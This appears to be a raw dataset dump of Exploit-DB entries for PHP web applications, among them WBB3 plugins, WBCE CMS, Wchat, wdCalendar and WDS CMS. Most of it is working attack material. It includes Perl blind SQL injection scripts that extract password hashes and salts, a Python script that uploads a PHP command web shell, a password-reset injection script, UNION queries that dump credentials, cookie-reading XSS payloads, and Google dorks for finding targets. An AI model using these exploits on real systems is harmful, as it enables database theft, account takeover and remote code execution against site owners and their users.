deardaniel/secdata-raw huggingface dataset:
Exploit-DB #10632
Description: Wbb3 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-12-24
Author: molli

Exploit:
#!/usr/bin/perl -w

use strict;
use LWP::Simple;

$| = 1;

print q{
-----------------------------------------------
Wbb3 Blind Sql Injection
Injection in Announce Plugin (Kleinanzeigen Markt)
Coded By Molli
use: ano.pl [url] [user id] [Announce Catid]
Google: "inurl:index.php?page=Announceshow"

Special greetz to:
B0nzai
&
Strike
-----------------------------------------------
};
if (@ARGV < 3) {
 print "Usage: ano.pl [url] [user id] [Announce CatID] \nExample: ano.pl www.target.com 1 1\n";
 exit;
}

my $url = shift;
my $uid  = shift;
my $annid  = shift;
my $prefix;

my @charset = ('a','b','c','d','e','f','1','2','3','4','5','6','7','8','9','0');

print "Check if Vulnerable....\n";
my $chreq = get("http://".$url."/index.php?page=AnnounceShow&catID=1'");
#print $chreq;
if (($chreq =~ m/Fatal error/i) || ($chreq =~ m/Invalid SQL/i)) 
	{
		print "Vulnerable!\n";
	} 
		else 
		{
			print "Patched!\n";
			exit;
		}

print "Checking Prefix\n";
if ($chreq =~ m/_wcf/i) 
	{
		print "Found Prefix '$1'\n";
		$prefix = $1;
	} 
		else 
		{
			print "Can't find prefix, using 'wcf1_'\n";
			$prefix = "wcf1_";
		}
print "Exploiting...\n";
print "Hash: ";

my $counter = 1;
my $countersalt = 1;
while($counter < 41) 
		{
			foreach(@charset) 
				{
					my $ascode       = ord($_);
					my $result       = get("http://".$url."/index.php?page=AnnounceShow&catID=".$annid."/**/AND/**/ascii(substring((SELECT/**/password/**/FROM/**/".$prefix."user/**/WHERE/**/userid=".$uid."),".$counter."))=".$ascode."");
					if (length($result) != 0) 
						{
							if ($result =~ "keine") 
								{
								}
									else
										{
											print chr($ascode);
											$counter++;
										}
						}
				}
		}

		
my $saltcheck = get("http://".$url."/index.php?page=AnnounceShow&catID=".$annid."/**/AND/**/ascii(substring((SELECT/**/salt/**/FROM/**/".$prefix."user/**/WHERE/**/userid=".$uid."),1))>0");
if($saltcheck =~ "keine")
		{
		}
			else
			{
				print "\nSalt: ";
				while($countersalt < 41) 
					{
						foreach(@charset) 
							{
								my $ascodesalt       = ord($_);
								my $resultsalt       = get("http://".$url."/index.php?page=AnnounceShow&catID=".$annid."/**/AND/**/ascii(substring((SELECT/**/salt/**/FROM/**/".$prefix."user/**/WHERE/**/userid=".$uid."),".$countersalt."))=".$ascodesalt."");
								if (length($resultsalt) != 0) 
									{
										if ($resultsalt =~ "keine") 
											{
											}
												else
													{
														print chr($ascodesalt);
														$countersalt++;
													}
									}
							}
					}
			}
print "\nDone! Exploit by molli\n";
Exploit-DB #8254
Description: WBB3 rGallery 1.2.3 - 'UserGallery' Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-03-23
Author: Invisibility

Exploit:
#!/usr/bin/perl -w

use strict;
use LWP::Simple;

$| = 1;

print q {
#############################
## WBB3 Blind SQL-Injector ##
#### Exploit in rGallery ####
###### by Invisibility ######
#############################
\\\    Special greetz to     #
//  Katharsis/**/nobody     #
\\\    Gunner/**/Cheese      #
//          Thx ;)          #
#############################


};

if (@ARGV < 3) {
 print "Usage: wbb3sploit.pl [url] [user id] [User Gallery userID] \nExample: wbb3sploit.pl www.target.com 1 5\n";
 print "[User Gallery UserID] has to be the ID of a User, who has got pictures.\nExample: www.target.com/index.php?page=RGalleryUserGallery&userID=5\n";
 exit;
}

my $url = shift;
my $uid  = shift;
my $galid  = shift;

my $prefix;

my @charset = ('a','b','c','d','e','f','1','2','3','4','5','6','7','8','9','0');

print "~ Is it vulnerable?...\n";

my $chreq = get("http://".$url."/index.php?page=RGalleryUserGallery&userID='");

if (($chreq =~ m/Fatal error/i) || ($chreq =~ m/Invalid SQL/i)) {

print "Nice, seems to be vulnerable!\n";

} else {

print "Seems to be patched, sorry\n";
exit;

}

print "~ Checking Prefix...\n";

if ($chreq =~ m/_wcf/i) {

 print "~ Found Prefix '$1'\n";
 $prefix = $1;

} else {
 print "~ Can't find prefix, using 'wcf1_'\n";
 $prefix = "wcf1_";
}

print "~ Exploiting...\n";
print "~^~ Hash: ";

my $counter = 1;
my $countersalt = 1;

while($counter < 41) {

foreach(@charset) {

 my $ascode       = ord($_);
 my $result       = get("http://".$url."/index.php?page=RGalleryUserGallery&userID=".$galid."/**/AND/**/ascii(substring((SELECT/**/password/**/FROM/**/".$prefix."user/**/WHERE/**/userid=".$uid."),".$counter."))=".$ascode."");

 if (length($result) != 0) {
  if ($result =~ "Keine") {
  }
  else{
   print chr($ascode);
   $counter++;
   }
  }
 }
}
my $saltcheck = get("http://".$url."/index.php?page=RGalleryUserGallery&userID=".$galid."/**/AND/**/ascii(substring((SELECT/**/salt/**/FROM/**/".$prefix."user/**/WHERE/**/userid=".$uid."),1))>0");
if($saltcheck =~ "Keine")
{
}
else
{
print "\n~^~ Salt: ";
while($countersalt < 41) {

foreach(@charset) {

 my $ascodesalt       = ord($_);
 my $resultsalt       = get("http://".$url."/index.php?page=RGalleryUserGallery&userID=".$galid."/**/AND/**/ascii(substring((SELECT/**/salt/**/FROM/**/".$prefix."user/**/WHERE/**/userid=".$uid."),".$countersalt."))=".$ascodesalt."");

 if (length($resultsalt) != 0) {
  if ($resultsalt =~ "Keine") {
  }
  else{
   print chr($ascodesalt);
   $countersalt++;
   }
  }
 }
}
}
print "\n~ Done! Exploit by Invisibility\n";

# milw0rm.com [2009-03-23]
Exploit-DB #3490
Description: wbblog - Cross-Site Scripting / SQL Injection
Type: webapps
Platform: php
Date: 2007-03-15
Author: Mehmet Ince

Exploit:
======================x=o=r=o=n=====================

WBBlog (XSS/SQL) Multiple Remote Vulnerabilities

======================x=o=r=o=n=====================

Bulan: xoron

xoron.biz

======================x=o=r=o=n=====================

SQL INJ:

index.php?cmd=viewentry&e_id=-1/**/UNION/**/SELECT/**/null,null,u_email,null,u_password,null/**/FROM/**/user/*

XSS :

index.php?cmd=viewentry&e_id="><script>alert('HACKED')</script>

======================x=o=r=o=n=====================

Vendor Site: http://liqua.com/wbblog.html

======================x=o=r=o=n=====================

Thnx: pang0

======================x=o=r=o=n=====================

# milw0rm.com [2007-03-15]
Exploit-DB #51985
Description: WBCE 1.6.0 - Unauthenticated SQL injection
Type: webapps
Platform: php
Date: 2024-04-12
Author: young pope

Exploit:
# Exploit Title: |Unauthenticated SQL injection in WBCE 1.6.0
# Date: 15.11.2023 
# Exploit Author: young pope 
# Vendor Homepage: https://github.com/WBCE/WBCE_CMS 
# Software Link: https://github.com/WBCE/WBCE_CMS/archive/refs/tags/1.6.0.zip 
# Version: 1.6.0 
# Tested on: Kali linux 
# CVE : CVE-2023-39796

There is an sql injection vulnerability in *miniform* module which is a 
default module installed in the *WBCE* cms. It is an unauthenticated 
sqli so anyone could access it and takeover the whole database.

In file /modules/miniform/ajax_delete_message.php there is no 
authentication check. On line |40| in this file, there is a |DELETE| 
query that is vulnerable, an attacker could jump from the query using 
tick sign - ```.

Function |addslashes()| 
(https://www.php.net/manual/en/function.addslashes.php) escapes only 
these characters and not a tick sign:

  * single quote (')
  * double quote (")
  * backslash ()
  * NUL (the NUL byte

The DB_RECORD_TABLE parameter is vulnerable.

If an unauthenticated attacker send this request:

```

POST /modules/miniform/ajax_delete_message.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, 
like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 162
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate

action=delete&DB_RECORD_TABLE=miniform_data`+WHERE+1%3d1+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+&iRecordID=1&DB_COLUMN=message_id&MODULE=&purpose=delete_record

```

The response is received after 6s.

Reference links:

  * https://nvd.nist.gov/vuln/detail/CVE-2023-39796
  * https://forum.wbce.org/viewtopic.php?pid=42046#p42046
  * https://github.com/WBCE/WBCE_CMS/releases/tag/1.6.1
  * https://pastebin.com/PBw5AvGp
Exploit-DB #50609
Description: WBCE CMS 1.5.1 - Admin Password Reset
Type: webapps
Platform: php
Date: 2021-12-20
Author: citril

Exploit:
# Exploit Title: WBCE CMS 1.5.1 - Admin Password Reset
# Google Dork: intext: "Way Better Content Editing"
# Date: 20/12/2021
# Exploit Author: citril or https://github.com/maxway2021
# Vendor Homepage: https://wbce.org/
# Software Link: https://wbce.org/de/downloads/
# Version: <= 1.5.1
# Tested on: Linux
# CVE : CVE-2021-3817
# Github repo: https://github.com/WBCE/WBCE_CMS
# Writeup: https://medium.com/@citril/cve-2021-3817-from-sqli-to-plaintext-admin-password-recovery-13735773cc75

import requests

_url = 'http://localhost/wbce/admin/login/forgot/index.php' # from mylocalhost environment
_domain = 'pylibs.org' # you have to catch all emails! I used Namecheap domain controller's 'catch all emails and redirect to specific email address' feature

headers = {
    'User-Agent': 'Mozilla/5.0',
    'Accept':
'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
    'Accept-Language': 'en-US,en;q=0.5',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Connection': 'close'
}

_p = "email=%27/**/or/**/user_id=1/**/or/**/'admin%40" + _domain + "&submit=justrandomvalue"

r = requests.post(url = _url, headers = headers, data = _p)
if r.status_code == 200:
    print('[+] Check your email, you are probably going to receive plaintext password which belongs to administrator.')
Exploit-DB #52039
Description: WBCE CMS v1.6.2 - Remote Code Execution (RCE)
Type: webapps
Platform: php
Date: 2024-06-03
Author: Ahmet Ümit BAYRAM

Exploit:
# Exploit Title: WBCE CMS v1.6.2 - Remote Code Execution (RCE)
# Date: 3/5/2024
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://wbce-cms.org/
# Software Link:
https://github.com/WBCE/WBCE_CMS/archive/refs/tags/1.6.2.zip
# Version: 1.6.2
# Tested on: MacOS

import requests
from bs4 import BeautifulSoup
import sys
import time

def login(url, username, password):
print("Logging in...")
time.sleep(3)
with requests.Session() as session:
response = session.get(url + "/admin/login/index.php")
soup = BeautifulSoup(response.text, 'html.parser')
form = soup.find('form', attrs={'name': 'login'})
form_data = {input_tag['name']: input_tag.get('value', '') for input_tag in
form.find_all('input') if input_tag.get('type') != 'submit'}
# Kullanıcı adı ve şifre alanlarını dinamik olarak güncelle
form_data[soup.find('input', {'name': 'username_fieldname'})['value']] =
username
form_data[soup.find('input', {'name': 'password_fieldname'})['value']] =
password
post_response = session.post(url + "/admin/login/index.php", data=form_data)
if "Administration" in post_response.text:
print("Login successful!")
time.sleep(3)
return session
else:
print("Login failed.")
print("Headers received:", post_response.headers)
print("Response content:", post_response.text[:500]) # İlk 500 karakter
return None

def upload_file(session, url):
# Dosya içeriğini ve adını belirleyin
print("Shell preparing...")
time.sleep(3)
files = {'upload[]': ('shell.inc',"""<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
</html>""", 'application/octet-stream')}
data = {
'reqid': '18f3a5c13d42c5',
'cmd': 'upload',
'target': 'l1_Lw',
'mtime[]': '[PII_REDACTED]'
}
response = session.post(url + "/modules/elfinder/ef/php/connector.wbce.php",
files=files, data=data)
if response.status_code == 200:
print("Your Shell is Ready: " + url + "/media/shell.inc")
else:
print("Failed to upload file.")
print(response.text)

if __name__ == "__main__":
url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
session = login(url, username, password)
if session:
upload_file(session, url)
Exploit-DB #51451
Description: WBiz Desk 1.2 - SQL Injection
Type: webapps
Platform: php
Date: 2023-05-23
Author: h4ck3r

Exploit:
[#] Exploit Title: WBiz Desk 1.2 - SQL Injection
[#] Exploit Date: May 12, 2023.
[#] CVSS 3.1: 6.4 (Medium)
[#] CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
[#] Tactic: Initial Access (TA0001)
[#] Technique: Exploit Public-Facing Application (T1190)
[#] Application Name: WBiz Desk
[#] Application Version: 1.2
[#] Link: https://www.codester.com/items/5641/wbiz-desk-simple-and-effective-help-desk-system


[#] Author: h4ck3r - Faisal Albuloushi
[#] Contact: SQL@hotmail.co.uk
[#] Blog: https://www.0wl.tech


[#] 3xploit:

[path]//ticket.php?tk=[SQL Injection]


[#] 3xample:

[path]/ticket.php?tk=83' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b6a6b71,0x534d6e485a[PII_REDACTED]6b7553746a556b414e7064624b7672626b42454c74674f5669436a466a53,0x71626b6b71),NULL,NULL,NULL-- -


[#] Notes:
- The vulnerability requires a non-admin privilege (normal) user to be exploited.
Exploit-DB #7337
Description: wbstreet 1.0 - SQL Injection / File Disclosure
Type: webapps
Platform: php
Date: 2008-12-04
Author: CWH Underground

Exploit:
===================================================================
  Wbstreet v.1.0 (show.php id) Remote SQL Injection Vulnerability
===================================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'


AUTHOR : CWH Underground
DATE   : 4 December 2008
SITE   : cwh.citec.us


#####################################################
 APPLICATION : Wbstreet 
 VERSION     : v.1.0
 VENDOR	     : www.phpstreet.com
 DOWNLOAD    : www.ohlanla.com/Dowsload/[PII_REDACTED]4.zip
#####################################################

-- Remote Database Disclosure --


[+] http://[Target]/[path]/connect.inc


-- Remote SQL Injection ---

-----------------
 Vulnerable Code
-----------------

if(isset($_GET['id'])){
	$id=$_GET['id'];
}
	.
	.
	.
	.
<? 
$rs=mysql_db_query($db_name, "select * from topic where id=$id");  <<<< Bug !!!!
$row=mysql_fetch_array($rs);
?>

----------
 Exploit
----------

[+] http://[Target]/[path]/show.php?id=1/**/AND/**/1=2/**/UNION/**/SELECT/**/1,concat(user,0x3a3a,password),1,1,1,1,1,1/**/FROM/**/mysql.user


#####################################################################
 Greetz      : ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos   
 Special Thx : asylu3, str0ke, citec.us, milw0rm.com
#####################################################################

# milw0rm.com [2008-12-04]
Exploit-DB #43864
Description: Wchat 1.5 - SQL Injection
Type: webapps
Platform: php
Date: 2018-01-23
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Wchat - Fully Responsive PHP AJAX Chat Script 1.5 - SQL Injection
# Dork: N/A
# Date: 23.01.2018
# Vendor Homepage: http://bylancer.com/
# Software Link: https://codecanyon.net/item/wchat-fully-responsive-phpajax-chat/18047319
# Version: 1.5
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-5979
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/login.php
# 
# User: ' UNION ALL SELECT 0x31,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),0x33,0x34-- XXX
# Pass: anything
# 
# # # # #
Exploit-DB #44683
Description: Wchat PHP AJAX Chat Script 1.5 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-05-21
Author: L0RD

Exploit:
# Exploit Title: Wchat - Fully Responsive PHP AJAX Chat Script  1.5 - Persistent cross site scripting
# Date: 2018-05-21
# Exploit Author: Borna nematzadeh (L0RD)
# Vendor Homepage: https://codecanyon.net/item/wchat-fully-responsive-phpajax-chat/18047319?s_rank=1327
# Version: 1.5
# Tested on: Windows

# POC :
1) Create your account and navigate to "Edit profile"
2) Put this payload into textarea :
</textarea><script>console.log(document.cookie)</script>
3) The payload will be executed if someone opens your profile .
Exploit-DB #6528
Description: WCMS 1.0b - 'news_detail.asp' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-22
Author: CWH Underground

Exploit:
=======================================================================
  WCMS v.1.0b (news_detail.asp id) Remote SQL Injection Vulnerability
=======================================================================
  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'


AUTHOR : CWH Underground
DATE   : 22 September 2008
SITE   : cwh.citec.us


#####################################################
 APPLICATION : WCMS: Web Content Management System
 VERSION     : v.1.0b
 VENDOR	     : www.rgb72.com (WEB DESIGN SOLUTIONS)
#####################################################

-- Remote SQL Injection ---

----------------------------------------
 Exploit for Dump username and password
----------------------------------------

[+] http://[Target]/[path]/news_detail.asp?id=1+union+select+1,2,3,f_user,f_password,6,7,8+from+upass%00
or
[+] http://[Target]/[path]/news_detail.asp?id=1+union+select+1,2,f_user,4,5,f_password,7,8,9,10,11,12,13+from+upass%00

    Then login at http://[Target]/[path]/admin/index.asp

#####################################################################
 Greetz      : ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos   
 Special Thx : asylu3, str0ke, citec.us, milw0rm.com
#####################################################################

# milw0rm.com [2008-09-22]
Exploit-DB #10897
Description: WD-CMS 3.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-01-01
Author: Sora

Exploit:
# Exploit Title: WD-CMS 3.0 Multiple Vulnerabilities
# Date: December 31st, 2009
# Author: Sora
# Software Link: http://www.webdiamond.net/cms.html
# Version: 3.0
# Tested on: Windows Vista and Linux (Backtrack 3)

---------------------------------------------------------------
> WD-CMS 3.0 Multiple Vulnerabilities
> Author: Sora
> Contact: vhr95zw [at] hotmail [dot] com
> Website: http://greyhathackers.wordpress.com/

--------------------------------------------------
# Program Description:
Based on a flexible PHP architecture, Web Diamond has developed a 100% browser-based database-driven Content Management System (CMS), which allows users to maintain full control of their website without any technical knowledge of programming by using a simple user friendly admin panel. The main benefit and the flexible strength of our CMS is its ability to separate design, structure and content. Each area of the site can be recreated and adjusted independent of the other areas.

Key features include:
1. User friendly secure admin interface
2. Access levels
3. Powerful File Manager
4. Multi languages
5. Dynamic templates
6. Search engine friendly
7. Site tools
8. Add-on modules


# Vulnerability Description:
The CMS named WD-CMS developed by Web Diamond LTD has multiple vulnerabilities.

Vulnerabilities: XSS and remote file access.

http://www.site.com/index.php?l=eng&mode=%3Cscript%3Ealert%28%22XSS%20by%20Sora%22%29%3C/script%3E

# Code/Proof of Concept (PoC):

XSS Proof of Concept:
http://www.site.com/index.php?l=eng&mode=%3Cscript%3Ealert%28%22XSS%20by%20Sora%22%29%3C/script%3E

Remote File Access Proof of Concept:
http://www.site.com/index.php?l=eng&mode=./index (as it adds .php at the end)

# Greetz:
Bw0mp, Popc0rn, Xermes, T3eS, Timeb0mb, [H]aruhiSuzumiya, Revelation, and Max Mafiotu!
Exploit-DB #40364
Description: wdCalendar 2 - SQL Injection
Type: webapps
Platform: php
Date: 2016-09-13
Author: Alfonso Castillo Angel

Exploit:
# Exploit Title: wdcalendar version 2 sql injection vulnerability
# Google Dork: allinurl:"wdcalendar/edit.php"
# Date: 12/09/2016
# Exploit Author: Alfonso Castillo Angel
# Software Link: https://github.com/ronisaha/wdCalendar
# Version: Version 2
# Tested on: Windows 7 ultimate
# Category: webapps

 * Affected file -> edit.php and edit.db.php
 * Exploit ->
http://localhost/wdcalendar/edit.php?id=-1+union+select+1,version(),user(),4,5,6,7,8,9--


 * Vulnerable code:

 function getCalendarByRange($id){
  try{
    $db = new DBConnection();
    $db->getConnection();
    $sql = "select * from `jqcalendar` where `id` = " . $id;  //the
variable is not filtered properly
    $handle = mysql_query($sql);
    //echo $sql;
    $row = mysql_fetch_object($handle);
}catch(Exception $e){
  }
  return $row;
}
if($_GET["id"]){
  $event = getCalendarByRange($_GET["id"]); //the variable is not filtered
properly
Exploit-DB #37750
Description: WDS CMS - SQL Injection
Type: webapps
Platform: php
Date: 2015-08-10
Author: Ismail Marzouk

Exploit:
# ( In The Name Of ALLAH )
# Exploit Title : WDS CMS - SQL Injection
# Google Dork : allinurl:wds_news/article.php?ID=
# Date : 2015-08-09
# Exploit Author : Ismail Marzouk
# Vendor Homepage : http://webdesignskolan.se/
# Tested on : Windows 7

Exploit : http://
[Target]/wds_news/article.php?ID=-1+union+select+1,group_concat(username,0x3a,password),3,4,5,6,7,8,9,10+from+cms_admin--

Upload Shell : http://[Target]/wds_news/admin.php?mode=list_file

Shell Path :  http://[Target]/wds_news/filer/shell.php


# #### #### #### #### #### #### #### #### #
# Facebook Profile : www.fb.com/ism.marzouk
# #### #### #### #### #### #### #### #### #

Good Luck ^__^